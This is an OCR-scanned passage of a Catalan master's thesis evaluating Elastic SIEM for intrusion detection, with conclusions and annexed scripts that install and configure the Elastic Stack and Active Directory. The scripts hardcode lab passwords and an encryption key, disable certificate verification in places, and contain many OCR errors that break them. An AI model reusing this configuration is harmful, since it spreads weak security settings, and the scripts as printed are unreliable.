> La utilitzacié de I'Elastic SIEM per tal de realitzar I'analisi de les dades és
molt intuitiu: permet realitzar diferents cerques utilitzant el drag and drop
del camp sobre el timeline o mitjancant la utilitzacioé del KQL. Els diferents
panells que hi ha a I'aplicacié donen informacié molt interessant per iniciar
I'analisi de les dades.

> EIl sistema de deteccié de signals, tot i basar-se en la realitzacio de
consultes KQL sobre les dades, és limitat avui en dia, ja que no permet
realitzar correlacions d’esdeveniments tal com ofereixen daltres
productes del mercat. Aixo fa que no sigui possible realitzar condicions
entre diferents esdeveniments. Les regles que porta per defecte s6n molt
limitades i, gran part d’elles, estan centrades en la utilitzacié del producte
Elastic Endpoint Security. No obstant aix0, aquesta funcionalitat encara
esta en fase beta, esperem que en noves versions les vaguin millorant.
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» Es de gran utilitat disposar d’'un IDS a I'entorn, ja que en diferents proves
que he realitzat, el Suricata ha estat 'origen de l'alerta i ha permés
detectar les diferents intrusions.

» S’han detectat comportaments diferents depenent de lorigen de la
intrusio. Les intrusions que s’han realitzat directament sobre la maquina
virtual, ha estat possible localitzar-les. Per altra banda, les proves en qué
s’han realitzat intrusions en I'ambit d’aplicacié web, tot i utilitzar el servei
de I'APM, ha estat més costdés i només s’han detectat anomalies
especifiques.

> La utilitzacio del Machine Learning pot arribar a ser molt Gtil si els models
que s’utilitzen s’han pogut entrenar amb una quantitat gran d’informacio.
Tot i facilitat d'utilitzacié dels models de I'Elastic gracies al Kibana, la
necessitat d’adquirir la subscripcié de pagament fa que no sigui viable per
alguns tipus d’empresa.

6.2. Seguiment de la planificacio inicial

Durant tota I'elaboracié del treball s’ha intentat seguir la planificacio indicada
inicialment, no obstant aixo, en lloc de realitzar el seguiment de les tasques de
manera diaria, he optat per realitzar un seguiment setmanal. El principal motiu
€s que, per causes laborals, no he pogut dedicar el temps previst entre setmana
i he hagut de realitzar esprints als caps de setmana.

Pel que fa a la planificacid sobre la dedicaci6 a cadascuna de les diferents
tasques, globalment s’ha mantingut. En algunes ocasions, pero, s’ha hagut
d’ajustar, ja que algunes tasques han estat més rapides del previst i, per contra,
algunes s’han complicat i he hagut de buscar solucions. Per exemple, en el cas
de 'analisi d’'intrusions web, per tal d’obtenir informacié i poder analitzar-les, vaig
haver de desplegar el component APM-Server i 'agent, elements que en la
planificacio del treball no estaven contemplats.

6.3. Problemes detectats durant el treball

Un dels principals problemes que he tingut durant el treball, ha estat amb
I'elaboracio de I'escenari 2. La situacié excepcional que s’ha viscut al mén amb
la COVID-19 ha afectat al client d’'on s’han extret les dades reals utilitzades per
aguest escenari. El client ha hagut de reduir la inversié que tenia previst fer en la
plataforma al cloud i, tot i que I'entorn esta en ple funcionament, tan sols s’ha
pogut permetre adquirir 'administracié i la despesa de la plataforma. Ha hagut
de prescindir de les millores, una d’aquestes estava orientada a l'analisi i la
centralitzacié de logs de seguretat mitjancant ElasticSearch.

Per tal de poder realitzar I'escenari en questio, al final vaig haver d’utilitzar les
dades que ja existien a la plataforma com son els propis logs de I'aplicacio, aixi
com els logs que s’ofereixen amb el servei de CloudTrail, descarregar-los en
local i afegir-los a I'ElasticSearch. Amb previsié d’aquesta situacio, durant la
tercera entrega de treball, vaig optar per ampliar I'abast de les proves realitzades
a l'escenari 1, afegint l'analisi d’intrusions web mitjangant la utilitzacié del
producte Web Security Dojo.
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Un altre dels problemes s’ha localitzat en la utilitzaci6 de Machine Learning, a
consequencia de la utilitzacié d’un laboratori i no de dades reals. Segons les
necessitats, anava iniciant i aturant els diferents components, aixo ha fet que la
quantitat de dades de que disposava el modul fos reduit i els algoritmes
encarregats de I'analisi retornessin molts falsos positius.

6.4. Compliment dels objectius marcats

Durant la planificacié del treball es van marcar els seguients objectius, a
continuacio revisarem el seu compliment:

6.4.1. Objectius del treball

v Utilitzar els productes que ens ofereix Elastic Stack: ElasticSearch,
Kibana, Logstash i Beats per a I'obtencio d’esdeveniments de seguretat.

Aquest objectiu es considera assolit, ja que gracies els diferents components que
formen part de I'Elastic Stack, ha fet possible poder obtenir esdeveniments de
seguretat i afegir-los a I'ElasticSearch per realitzar els analisis.

v Provar la nova aplicacié d’Elastic SIEM, inclos dins d’Elastic Security, per
I'analisi d’esdeveniments de seguretat.

En tots els casos d’us del treball s’ha utilitzat I'aplicacio de I'Elastic SIEM per tal
de realitzar I'analisi de la informacio que hi havia a I'ElasticSearch. Aconseguint
aixi detectar intrusions de seguretat. Per tant, es considera que aquest objectiu
s’ha assolit.

v' Creacié de diferents casos d’'Us per tal d’aplicar el producte Elastic
Security en un entorn empresarial.

S’han pogut planificar diferents casos d’us on realitzar diferents tipus d’intrusions.
Gracies a la utilitzacié del producte Elastic Security, ha estat possible detectar-
los i analitzar-los. Per tat, també es considera aquest objectiu com assolit

v" Aplicar el producte Elastic Security en un entorn al cloud amb informacio
real.

Tot i que només s’han pogut realitzar de manera limitada algunes proves amb la
plataforma cloud, hem vist el potencial que ofereix el producte permetent la
centralitzacié dels diferents esdeveniments de seguretat i la realitzacié de la seva
analisi. Hagués estat interessant disposar de més dades i poder utilitzar aquest
producte en un entorn real. En aquest cas, podem dir que s’ha assolit I'objectiu
parcialment.

v" Aplicar el modul Machine Learning a I'entorn empresarial per tal de
detectar anomalies.

Ha estat possible aplicar algoritmes del Machine Learning d’'una manera senzilla
gracies als algoritmes preexistents a I'ElasticSerach. Tot i el gran potencial
d’aquesta técnica, a causa de la quantitat limitada de dades de que disposava,
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ha donat molts falsos positius. Per tant, aquest objectiu s’ha assolit de manera
parcial.

6.4.2. Objectius d’'implementacio i coneixement

Obtenci6 dels coneixements necessaris

Funcionament de I'ElasticSearch i els seus components.
Coneixements de I'Elastic Common Schema.
Funcionament de la funcié de SIEM d’ElasticSerach.
Correlacié d’esdeveniments.

Deteccié d’anomalies amb I'Elastic.

Aplicacié del Machine Learning.

VVVYYY

S’han assolit els objectius marcats en I'ambit de coneixement, he adquirit nous
coneixements relacionats amb els diferents productes de I'Elastic Stack. He
indagat sobre I'Elastic Common Schema i he vist la seva utilitat. Ha estat possible
detectar anomalies mitjancant I'analisi de les diferents dades. He adquirit
coneixement amb relacié a la utilitzaciéo del Machine Learning en I'ambit de la
seguretat. Pel que fa a la correlacié d’esdeveniments, els he hagut de realitzar
de manera manual, ja que el producte no ho permet.

Desplegament de I'Elastic Stack

» Instal-lacio i configuracié d’Elastic Stack.
S’han pogut desplegar els diferents components de I'Elastic Stack i també s’han
pogut utilitzar, per tant, es considera que I'objectiu s’ha assolit.

Objectius d’entrega

» Planificacio dels temps del treball, aixi com les entregues parcials.
» Elaboracié de la memoria.
» Elaboracié de la presentacio del treball i també del video.

He entregat els diferents lliuraments segons la planificacio realitzada i la memoria
I'he anat elaborant a mesura en que realitzava les diferents proves. He anat
aplicant les correccions i millores que m’han indicat durant les diferents
correccions parcials. Per tant, es considera que aquest objectiu s’ha assolit, tot i
que, en el moment de presentar d’aquest document, encara no he fet el video.

6.4.3. Valoracio del treball

Aquest treball m’ha servit per ampliar els coneixements que tenia dels diferents
productes del cataleg d’Elastic i m’ha permes provar la nova aplicacio de I'Elastic
SIEM. Mitjangcant I'elaboracié dels diferents escenaris i les diferents proves
d’intrusio, m’ha permés veure el comportament d’aquest producte en cadascun
dels casos i realitzar el seguiment dels diferents incidents. Malgrat els problemes
que han sorgit, faig una valoracié molt positiva d’aquest treball i espero poder
oferir aquest producte als possibles clients en el meu lloc de treball.
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6.5.

Previsions de futur

Un cop finalitzat aquest treball, i pensant en possibles aplicacions al futur, seria
interessant realitzar les seguents linies de treball.

>

Aplicar aquest producte en un entorn empresarial real, obtenint un volum
meés elevat de dades i permetent comprovar el rendiment d’aquesta
solucio, aixi com el cost que suposa la parametritzacié per detectar les
intrusions més comunes.

Aplicar el modul de Machine Learning en una situacio real, comprovant si
els diferents algoritmes que s’implementen son efectius per tal de detectar
les anomalies.

Utilitzar automatismes que permetin connectar-se directament en serveis
al cloud per obtenir els diferents logs, aixi com els diferents
esdeveniments de seguretat per aconseguir una visibilitat en temps real
de la situaci6 global i poder detectar possibles incidents de seguretat.
Utilitzacié del producte Elastic Endpoint Security per tal de detectar
problemes de seguretat a les estacions de treball d’'usuaris, aixi com la
seva integracié amb I'Elastic SIEM.

Creaci6 d’alertes per detectar anomalies per no haver de tenir sempre la
consola de I'Elastic SIEM oberta. A més, poder d'implementar respostes
envers aguestes alertes.
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8. Annexos
8.1. Annex 1: Instal-lacié d’Elastic Stack

8.1.1. Instal-lacid d’ElasticSearch
8.1.1.1. Scripts

Script 1: Instal-lacié dElasticSearch

#!/bin/bash
## Instal-lacié de prerequisits

#1.Instal-lacio de Java OpenJDK 11
yum -y install java-11-openjdk

#2. Creaci6 de la carpeta dades d’ElasticSearch
mkdir /dades

##lnstal-lacio d’Elastic

#1. Instal-lacio de PGP Key Repositori Elastic
rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch

#2. Creaci6 del repositori d’ElasticSearch

cat << EOF > /etc/yum.repos.d/elasticsearch.repo
[elasticsearch]

name=Elasticsearch repository for 7.x packages
baseurl=https://artifacts.elastic.co/packages/7.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=0

autorefresh=1

type=rpm-md

EOF

#3.Instal-lacio d’ElasticSearch 7.6.1-1
yum -y install --enablerepo=elasticsearch elasticsearch-7.6.1-1

#4.Configuracié basica d’Elastic

host="hostname’

PathOriginal="path.data: V/varVlibVelasticsearch"

PathFinal="path.data: \Vdades"

sed -i 's/#cluster.name: my-application/cluster.name: MisticElastic/g' /etc/elasticsearch/elasticsearch.yml
sed -i "s/#node.name: node-1/node.name: $host/g" /etc/elasticsearch/elasticsearch.yml

sed -i "s/$PathOriginal/$PathFinal/g" /etc/elasticsearch/elasticsearch.yml

sed -i "s/#bootstrap.memory_lock: true/bootstrap.memory_lock: true/g"
/etc/elasticsearch/elasticsearch.yml
sed -i "s/#network.host: 192.168.0.1/network.host: 192.168.43.100/g"

/etc/elasticsearch/elasticsearch.yml
sed -i "s/#http.port: 9200/http.port: 9200/g" /etc/elasticsearch/elasticsearch.yml
echo "discovery.type: single-node" >> /etc/elasticsearch/elasticsearch.yml

#5. Ajustar parametres SO

sed -i 's/-Xmx1g/-Xmx2g/g' /etc/elasticsearch/jvm.options #Assignar meitat de la RAM
sed -i 's/-Xms1g/-Xms2g/g' /etc/elasticsearch/jvm.options #Assignar meitat de la RAM
echo 'elasticsearch soft nofile 65536' >> /etc/security/limits.conf

echo 'elasticsearch hard nofile 65536' >> /etc/security/limits.conf

echo 'elasticsearch soft memlock unlimited' >> /etc/security/limits.conf

echo 'elasticsearch hard memlock unlimited' >> /etc/security/limits.conf

#6. Crear el FS /dades

echo "- - -" > /sys/class/scsi_host/host0/scan

b=$(Isblk | grep 25G|awk ‘{print $1}')

echo -e "o\nn\np\n1\n\n\nt\n8e\nw" | fdisk /dev/$b #Crear particio LVM
pvcreate /dev/$b\1 #Creacié del Phisical Volume
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vgcreate vg_dades /dev/$b\1 #Creacio del Volme Group
Ivcreate -n Iv_dades -I 100%FREE vg_dades #Creaci6 del LVM Volume
mkfs.xfs /dev/vg_dades/Iv_dades # Donar format ext4

#7. Mapejar nou FS

echo "UUID=$(blkid -s UUID -o value /dev/vg_dades/lv_dades)" /dades xfs defaults 0 0 >> /etc/fstab
mount -a

chown elasticsearch: /dades

#8. Auto inici d’Elastic
systemctl enable elasticsearch

#9. Habilitar el firewall
firewall-cmd --permanent --zone=public --add-port=9200/tcp
firewall-cmd --reload

Script 2: Creacio dels certificats SSL ElasticSearch

#!/bin/bash
##Instal-lacié de la utilitat Certs
yum -y install gnutls-utils

ES_PATH_CONF=/etc/elasticsearch

#Creaci6 de I'estructura de carpetes
mkdir $ES_PATH_CONF/ssl

mkdir $ES_PATH_CONF/ssl/templates
mkdir $ES_PATH_CONF/ssl/certs
mkdir $ES_PATH_CONF/ssl/private

#Creacio de la plantilla de la CA

cat << EOF > $ES_PATH_CONF/ssl/templates/ca_server.conf
cn = Elastic Server CA

ca

cert_signing_key

EOF

#Creaci6 de la plantilla servei

cat << EOF > $ES_PATH_CONF/ssl/templates/elastic_server.conf
organization = "TFM Eduard"

cn = elasticstack.mistic.lab

tls_ www_server

encryption_key

signing_key

expiration_days = 3652

EOF

#Creaci6 de la clau de la CA

certtool -p --outfile $ES_PATH_CONF/ssl/private/ca_server.key

#Generacio del certificat de la CA

certtool -s --load-privkey $ES_PATH_CONF/ssl/private/ca_server.key --template
$ES_PATH_CONF/ssl/templates/ca_server.conf --outfile $ES_PATH_CONF/ssl/certs/ca_server.pem

#Generacio de la Clau Servei

certtool -p --sec-param high --outfile $ES_PATH_CONF/ssl/private/elastic_server.key
#Generacio del Certificat Servei

certtool -c --load-privkey SES_PATH_CONF/ssl/private/elastic_server.key --load-ca-certificate
$ES_PATH_CONF/ssl/certs/ca_server.pem --load-ca-privkey
$ES_PATH_CONF/ssl/private/ca_server.key --template
$ES_PATH_CONF/ssl/templates/elastic_server.conf --outfile
$ES_PATH_CONF/ssl/certs/elastic_server.pem

#Canviar el propietari de la carpeta
chown elasticsearch: -R $ES_PATH_CONF/ssl
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Script 3: Configuracio del SSL ElasticSearch
#!/bin/bash
ES_PATH_CONF=/etc/elasticsearch
cp $ES_PATH_CONF/elasticsearch.yml $ES_PATH_CONF/elasticsearch.yml_bckPreSeguretat

echo "xpack.security.enabled: true" >> $ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.transport.ssl.enabled: true" >> $ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.transport.ssl.verification_mode: certificate" >>
$ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.transport.ssl.key: $ES_PATH_CONF/ssl/private/elastic_server.key" >>
$ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.transport.ssl.certificate: $ES_PATH_CONF/ssl/certs/elastic_server.pem" >>
$ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.transport.ssl.certificate_authorities: $ES_PATH_CONF/ssl/certs/ca_server.pem"
>> $ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.authc.api_key.enabled: true" >> $ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.http.ssl.enabled: true" >> $ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.http.ssl.key: $ES_PATH_CONF/ssl/private/elastic_server.key" >>
$ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.http.ssl.certificate: $ES_PATH_CONF/ssl/certs/elastic_server.pem" >>
$ES_PATH_CONF/elasticsearch.yml

echo "xpack.security.http.ssl.certificate_authorities: $ES_PATH_CONF/ssl/certs/ca_server.pem" >>
$ES_PATH_CONF/elasticsearch.yml

8.1.1.2. Captures

Captura 1: Estat del clUster
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Captura 2: Usuaris del Sistema Elastic

8.1.2. Instal-lacié del Kibana
8.1.2.1. Scripts

Script 4: Instal-lacié i configuracié del Kibana

#!/bin/bash

#1. Creacio del repositori d’ElasticSearch

cat << EOF > /etc/yum.repos.d/kibana.repo
[kibana-7.x]

name=Kibana repository for 7.x packages
baseurl=https://artifacts.elastic.co/packages/7.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1

autorefresh=1

type=rpm-md

EOF
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#2. Instal-lacio del Kibana
yum -y install kibana

#3. Configuracio del Kibana

host="hostname”

ES_PATH_CONF=/usr/share/kibana

cp -rp /etc/elasticsearch/ssl $ES_PATH_CONF

chown -R kibana:kibana $ES_PATH_CONF/ssl

mkdir /var/log/kibana

chown kibana:kibana /var/log/kibana

cp /etc/kibana/kibana.yml /etc/kibana/kibana.yml_PreConfig

echo "server.host: \"$host\"" >> /etc/kibana/kibana.yml

echo "server.name: \"$host\"" >> /etc/kibana/kibana.yml

echo "elasticsearch.hosts: [\"https://$host:9200\"]" >> /etc/kibana/kibana.yml

echo "elasticsearch.username: \"kibana\"" >> /etc/kibana/kibana.yml

echo "elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/kibana/kibana.yml

echo "server.ssl.enabled: true" >> /etc/kibana/kibana.yml

echo "server.ssl.certificate: $ES_PATH_CONF/ssl/certs/elastic_server.pem" >> /etc/kibana/kibana.yml
echo "server.ssl.key: $ES_PATH_CONF/ssl/private/elastic_server.key" >> /etc/kibana/kibana.yml

echo "elasticsearch.ssl.certificate: $ES_PATH_CONF/ssl/certs/elastic_server.pem" >>
/etc/kibana/kibana.yml

echo "elasticsearch.ssl.key: $ES_PATH_CONF/ssl/private/elastic_server.key" >> /etc/kibana/kibana.yml
echo "elasticsearch.ssl.certificateAuthorities: [ \"$ES_PATH_CONF/ssl/certs/ca_server.pem\" ' >>
/etc/kibana/kibana.yml

echo "logging.dest: /var/log/kibana/kibana.log" >> /etc/kibana/kibana.yml

#Perqué funcionin les detection rules https://www.elastic.co/guide/en/siem/guide/7.6/detection-engine-
overview.html#detections-permissions

echo "xpack.encryptedSavedObjects.encryptionKey: 'RN4JRjlzQWR1Ns4LpnGw2ialJ2kOHzHf" >>
/etc/kibana/kibana.yml

#4. Iniciar el Kibana

systemctl enable kibana

systemctl start kibana

#5. Afegir la regla del firewall

firewall-cmd --permanent --zone=public --add-port=5601/tcp
firewall-cmd --reload

8.1.2.2. Captures

Captura 4: Accés del Kibana

€ c @ 0 & misticlab. £ nNDe® =

K |

Welcome to Kibana

Your window into the
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8.1.3. Instal-lacié del Logstash
8.1.3.1. Scripts

Script 5: Instal-lacié del Logstash

#!/bin/bash

#1. Creacio del repositori de Logstash

cat << EOF > /etc/yum.repos.d/logstash.repo
[logstash-7.x]

name=Elastic repository for 7.x packages
baseurl=https://artifacts.elastic.co/packages/7.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1

autorefresh=1

type=rpm-md

EOF

#2. Instal-lacié de Logstash
ES_PATH_CONF=/usr/share/logstash
yum -y install logstash

#3. Copia dels certificats SSL i convertir la Key a pkcs8 https://discuss.elastic.co/t/logstash-ssl-file-does-
not-contain-a-valid-private-key-with-beats/173229

cp -rp /etc/elasticsearch/ss| SES_PATH_CONF

openssl pkcs8 -in $ES_PATH_CONF/ssl/private/elastic_server.key -topk8 -out
$ES_PATH_CONF/ssl/private/elastic_server_pk8.key -nocrypt

chown -R logstash:logstash $ES_PATH_CONF/ssl

#4. Configuracio del Logstash
host="hostname’

mkdir /dades/logstash
chown logstash:logstash /dades/logstash
cp /etc/logstash/logstash.yml /etc/logstash/logstash.yml_PreConfig

sed -i "s/# node.name: test/node.name: $host/g" /etc/logstash/logstash.yml
PathOriginal="path.data: \/varVlibVlogstash"

PathFinal="path.data: \/dadesVlogstash"

sed -i "s/$PathOriginal/$PathFinal/g" /etc/logstash/logstash.yml

#5. Configuracio de la Pipeline

cat << EOF > /etc/logstash/conf.d/01_beats.conf
input {
beats {
port => 5044
ssl => true
ssl_certificate_authorities => ["/usr/share/logstash/ssl/certs/ca_server.pem"]
ssl_certificate => "/usr/share/logstash/ssl/certs/elastic_server.pem"
ssl_key => "/usr/share/logstash/ssl/private/elastic_server_pk8.key"
ssl_verify_mode => "force_peer"
}
}

output {
elasticsearch {
hosts => ["https://elasticstack.mistic.lab:9200"]
index => "%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYYY.MM.dd}"
user => "elastic"
password => "3l4s1cUs3r"
ssl_certificate_verification => false
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EOF

#6. Iniciar el Kibana
systemctl enable logstash
systemctl start logstash

#7. Obrir el firewall

firewall-cmd --permanent --zone=public --add-port=5044/tcp
firewall-cmd --reload

8.1.3.2. Captures

Captura 5: Validacié del funcionament del Logstash

&« c @ 0 & misticlab

K B oevools o = @&

Search Profiler Grok Debugger

History Settings Help
GET _template/logstash > 9 - K
[

-
tch_al

1": {}
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8.1.4. Beats

8.1.4.1. AuditBeat

8.1.4.1.1. Scripts
Script 6: Instal-lacié de I'AuditBeat

#!/bin/bash

#1. Instal-lacié d’AuditBeat

curl -L -O https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-7.6.1-x86_64.rpm
sudo rpm -vi auditbeat-7.6.1-x86_64.rpm

#2. Configuracio d’AuditBeat
cp /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml_PreConfig
host="hostname’

cp -rp /etc/elasticsearch/ssl/ /usr/share/auditbeat/

sed -i "s/localhost/$host/g" /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml

sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml
echo "output.elasticsearch.ssl.certificate_authorities: [\"/usr/share/auditbeat/ssl/certs/ca_server.pem\"]"
>> [etc/auditbeat/auditbeat.yml

echo “"output.elasticsearch.ssl.certificate:  \"/usr/share/auditbeat/ssl/certs/elastic_server.pem\"" >>
letc/auditbeat/auditbeat.yml

echo "output.elasticsearch.ssl.key: \"/usr/share/auditbeat/ssl/private/elastic_server.key\"" >>
/etc/auditbeat/auditbeat.yml

echo "output.elasticsearch.username: \"elastic\'"" >> /etc/auditbeat/auditbeat.yml

echo "output.elasticsearch.password: \"3l14s1cUs3r\"" >> /etc/auditbeat/auditbeat.yml

echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/auditbeat/auditbeat.yml

echo "setup.kibana.username: \"elastic\'"* >> /etc/auditbeat/auditbeat.yml

echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/auditbeat/auditbeat.yml

#3. Iniciar I'Auditbeat
systemctl enable auditbeat
systemctl start auditbeat

9.

9.1.1.1.1. Captures

Captura 7: Dades de I’AuditBeat

Event count

~
Host events P Network events

#

@ wetiw > Auditbeat 1573 e— > Auditbeat 15—

> Elastic Endpoint Security [ > Filebeat

9.1.1.2. PacketBeat
9.1.1.2.1. Scripts

Script 7: Instal-lacié del PacketBeat

#1/bin/bash
#1. Instal-lacié del PacketBeat
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yum -y install libpcap
curl -L -O https://artifacts.elastic.co/downloads/beats/packetbeat/packetbeat-7.6.1-x86_64.rpm
sudo rpm -vi packetbeat-7.6.1-x86_64.rpm

#2. Configuracio del PacketBeat
cp /etc/packetbeat/packetbeat.yml /etc/packetbeat/packetbeat.yml_PreConfig
host="hostname”

cp -r letclelasticsearch/ssl/ /ust/share/packetbeat/

sed -i "s/localhost/$host/g" /etc/packetbeat/packetbeat.yml /etc/packetbeat/packetbeat.yml

sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" letc/packetbeat/packetbeat.yml
/etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.ssl.certificate_authorities: [\"/usr/share/packetbeat/ssl/certs/ca_server.pem\"]"
>> [etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.ssl.certificate: \"/usr/share/packetbeat/ssl/certs/elastic_server.pem\"" >>
/etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.ssl.key: \"/usr/share/packetbeat/ssl/private/elastic_server.key\"" >>
letc/packetbeat/packetbeat.yml

echo "output.elasticsearch.username: \"elastic\'"" >> /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.password: \"3l14s1cUs3r\"™" >> /etc/packetbeat/packetbeat.yml

echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/packetbeat/packetbeat.yml

echo "setup.kibana.username: \"elastic\"" >> /etc/packetbeat/packetbeat.yml

echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/packetbeat/packetbeat.yml

echo “setup.kibana.setup.kibana.ssl.verification_mode: none” >> /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.pipeline: geoip-info" >> /etc/packetbeat/packetbeat.ymi

#3. Iniciar el Packetbeat
systemctl enable packetbeat
systemctl start packetbeat

Script 8: Configuracié de GeolP del PacketBeat

lusr/share/packetbeat/bin/packetbeat setup
curl -u elastic:<password> -X PUT “https://elasticstack.mistic.lab:9200/_ingest/pipeline/geoip-
info?pretty” -H ‘Content-Type: application/json’ -d'

"description”: "Add geoip info",
"processors": [
{
"geoip™: {
"field": "client.ip",
“"target_field": "client.geo",
"ignore_missing": true
}
h
{
"geoip™: {
"field": "source.ip",
"target_field": "source.geo",
"ignore_missing": true
}
e
{
"geoip": {
"field": "destination.ip",
"target_field": "destination.geo",
"ignore_missing": true
}
e
{
"geoip": {
"field": "server.ip",
"target_field": "server.geo",
"ignore_missing": true
}
h
{
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"geoip": {
"field": "host.ip",
"target_field": "host.geo",
"ignore_missing": true

9.1.1.2.2. Captures

Captura 8: Dades del PacketBeat

KaL Last 24 hours Show dates

Event count

Host events Network events

1,080 e— > Auditbeat 67—

0 > Filebeat 0

» Filebeat 0 > Packetbeat 110 e—

9.1.1.3. FileBeat
9.1.1.3.1. Scripts

Script 9: Instal-lacié del FileBeat

#!/bin/bash

#1. Instal-laci6 del Filebeat

curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.6.1-x86_64.rpm
sudo rpm -vi filebeat-7.6.1-x86_64.rpm

#2. Configuracio del Filebeat
cp /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml_PreConfig
host="hostname’

cp -r /etclelasticsearch/ssl/ /ust/share/filebeat/

sed -i "s/localhost/$host/g" /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml

sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml

echo "output.elasticsearch.ssl.certificate_authorities: [\"/usr/share/filebeat/ssl/certs/ca_server.pem\"]" >>
[etc/filebeat/filebeat.yml

echo  "output.elasticsearch.ssl.certificate:  \"/usr/shareffilebeat/ssl/certs/elastic_server.pem\""  >>
letc/filebeat/filebeat.yml
echo "output.elasticsearch.ssl.key: \"/usr/shareffilebeat/ssl/private/elastic_server.key\"" >>

/etc/filebeat/filebeat.yml

echo "output.elasticsearch.password: \"314s1cUs3r\"" >> /etc/filebeat/filebeat.yml

echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/filebeat/filebeat.yml
echo "setup.kibana.username: \"elastic\'"" >> /etc/filebeat/filebeat.yml

echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/filebeat/filebeat.yml

cp /etc/filebeat/modules.d/system.yml.disabled /etc/filebeat/modules.d/system.yml
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#3. Iniciar el Filebeat
systemctl enable filebeat
systemctl start filebeat

9.1.1.3.2. Captures
Captura 9: Dades del FileBeat

Host events Network events

> Auditbeat 1,096 — > Auditbeat 99—
Elastic Endpoint Security 0 > Filebeat a
Filebeat 1,873 m— > Packstbeat 443 e—

.\ lastic SIEM for home and smé = > Winlogbeat ]
B pusines . “

9.1.1.4. APM-Server
9.1.1.4.1. Scripts

Script 10: Instal-lacié de 'APM-Server

#1/bin/bash

#1. Instal-lacié de APM_Server
yum -y install apm-server

#2. Configuracié apm-server

host="hostname’

ES_PATH_CONF=/usr/share/apm-server

cp -r /etc/elasticsearch/ss| $ES_PATH_CONF

cp /etc/apm-server/apm-server.yml /etc/apm-server/apm-server.yml_PreConfig
chown -R apm-server: /usr/share/apm-server/ssi

sed -i "s/localhost/$host/g" /etc/apm-server/apm-server.yml /etc/apm-server/apm-server.yml

echo "output.elasticsearch.ssl.certificate_authorities: [\"/usr/share/apm-
server/ssl/certs/ca_server.pem\"]" >> /etc/apm-server/apm-server.yml

echo "output.elasticsearch.ssl.certificate: \"/usr/share/apm-server/ssl/certs/elastic_server.pem\"" >>
/etc/apm-server/apm-server.yml

echo "output.elasticsearch.ssl.key: \"/usr/share/apm-server/ssl/private/elastic_server.key\"" >> /etc/apm-
server/apm-server.yml

echo "output.elasticsearch.username: \"elastic\"" >> /etc/apm-server/apm-server.yml

echo "output.elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/apm-server/apm-server.yml

echo "output.elasticsearch.protocol: \"https\"" >> /etc/apm-server/apm-server.yml

echo "setup.kibana.host: \"https://$host:5601\"" >> /etc/apm-server/apm-server.yml

echo "setup.kibana.username: \"elastic\'"" >> /etc/apm-server/apm-server.yml

echo "setup.kibana.password: \"3l4s1cUs3n\"" >> /etc/apm-server/apm-server.yml

#3. Iniciar apm-server
systemctl enable apm-server
systemctl start apm-server

#4. Afegir Regle de Firewall

firewall-cmd --permanent --zone=public --add-port=8200/tcp
firewall-cmd --reload
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8.2. Annex 2: Analisi de Logs
8.2.1. Vista d’Elastic SIEM
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Captura 12: Finestra Overview 2
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8.2.1.3. Pestanya Network

Captura 18: Finestra Network 1
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Captura 26: Prebuilt signal rules
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Captura 29: Timeline guardada
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8.2.2. Escenari 1: Entorn empreserial

8.2.2.1. Instal-lacié d’Active Directory
8.2.2.1.1. Scripts

Script 11: Instal-lacié d’Active Directory

#1. Assignar IP Fixa
New-NetIPAddress -InterfaceAlias Ethernet0 -IPAddress 192.168.43.101 -PrefixLength 24 -
DefaultGateway 192.168.43.2
#2. Configurar el DNS Server
Set-DnsClientServerAddress -InterfaceAlias EthernetO -ServerAddresses ("192.168.43.101","8.8.8.8")
#3. Desactivar IPv6
Disable-NetAdapterBinding —InterfaceAlias Ethernet0 —ComponentID ms_tcpip6
#4. Instal-lar el Rol AD-DS
Install-WindowsFeature —Name AD-Domain-Services —IncludeManagementTools
#5. Promocionar a AD
Install-ADDSForest

-DomainName "mistic.lab" *

-CreateDnsDelegation:$false *

-DatabasePath "C:\Windows\NTDS" *

-DomainMode "7" °

-DomainNetbiosName "misticlab”

-ForestMode "7" °

-InstallDns:$true

-LogPath "C:\Windows\NTDS" *

-NoRebootOnCompletion:$True °

-SysvolPath "C:\Windows\SYSVOL" *

-Force:$true

Script 12: Instal-lacié del WinlogBeat

#1. Afegir el registre DNS Elastic
Add-DnsServerResourceRecordA -Name "elasticstack™" -ZoneName "mistic.lab" -AllowUpdateAny -
IPv4Address "192.168.43.100" -TimeToLive 01:00:00

